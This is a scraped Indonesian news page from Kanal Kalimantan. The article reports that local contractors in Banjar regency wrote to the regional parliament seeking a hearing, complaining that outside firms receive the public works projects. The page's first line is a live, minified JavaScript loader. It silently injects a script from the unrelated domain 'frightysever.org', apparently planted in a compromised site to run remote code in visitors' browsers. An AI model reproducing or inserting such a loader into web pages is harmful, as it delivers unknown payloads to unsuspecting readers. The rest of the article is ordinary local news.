(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Kecewa tidak bertemu Kepala Dinas PUPR, Wakil Bupati Banjar dan Bupati Banjar, puluhan kontraktor lokal yang tergabung Forum Koalisi Kontraktor Kabupaten Banjar layangkan surat untuk audensi dengan DPRD Kabupaten Banjar, Rabu (20/3).
Mereka mendatangi DPRD Banjar sebagai tindak lanjut gagalnya pertemuan dengan Kepala Dinas PUPR Banjar, Wakil Bupati Banjar dam Bupati Banjar, Selasa (19/3) lalu. kemarin mengeluhkan sulitnya dapat proyek di tiga tahun masa kepemimpinan Bupati Banjar.
“Selama ini kita kontraktor lokal khususnya untuk proyek pekerjaan Petunjukan Langsung (PL) di bawah nilai Rp 200 juta tidak pernah mendapatkan pekerjaan, istilahnya kita tidur selama Bupati Banjar yang ini,” ujar Koordinator Persatuan Kontraktor Banjar H Taufikurrahman kepada Kanal Kalimantan Rabu (20/3).
Taufik menilai sekarang kontraktor luar daerah lebih diutamakan ketimbang kontraktor lokal. Dirinya juga mengaku sebelum masa kepemimpinan Bupati Khalilurrahman kontraktor lokal di bina oleh kepala daerah sehingga lebih gampang untuk mendapatkan pekerjaan, miniam 2 kali dalam satu tahun.
“Yang kita sayangkan proyek sekarang ini banyak dimasuki oleh orang luar, sehingga kita bahkan dalam setahun itu nihil pekerjaan,” akunya.
Terkait kedatangan pihaknya ke DPRD Banjar ingin langsung menemui anggota DPRD Banjar khususnya ketua DPRD atau pada umumnya anggota Komis III DPRD Banjar, namun yang bersangkutan tidak ada ditempat, surat yang dilayangkan ke DPRD Kabupaten Banjar diwakilkan diterimakan oleh kesekreteriatan DPRD Banjar.
“Yang ingin kita bicarakan dengan Komisi III DPRD Kabupaten Banjar, dapat memfasilitasi kami dengan pemerintah daerah, agar bisa diperlakukan sama dengan kontraktor luar. Sehingga tidak ada perlakuan istimewa antara kontraktor luar dan lokal dalam berkontribusi membangun daerah, melalui jasa kontruksi,†jelasnya.
Sementara adapun isi dari surat tersebut pihak kontraktor minta waktu untuk dapat beraudensi mengenai pembagian keperjaan yang ditujukan kepada ketua DPRD H Rusli pada Kamis (21/3) besok. “Kami berharap surat kami ini disampaikan keatasan, agar kontraktor di Kabupaten Banjar ini bisa bekerja kembali seperti dahulu,” pungkasnya. (rendy)
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
This website uses cookies.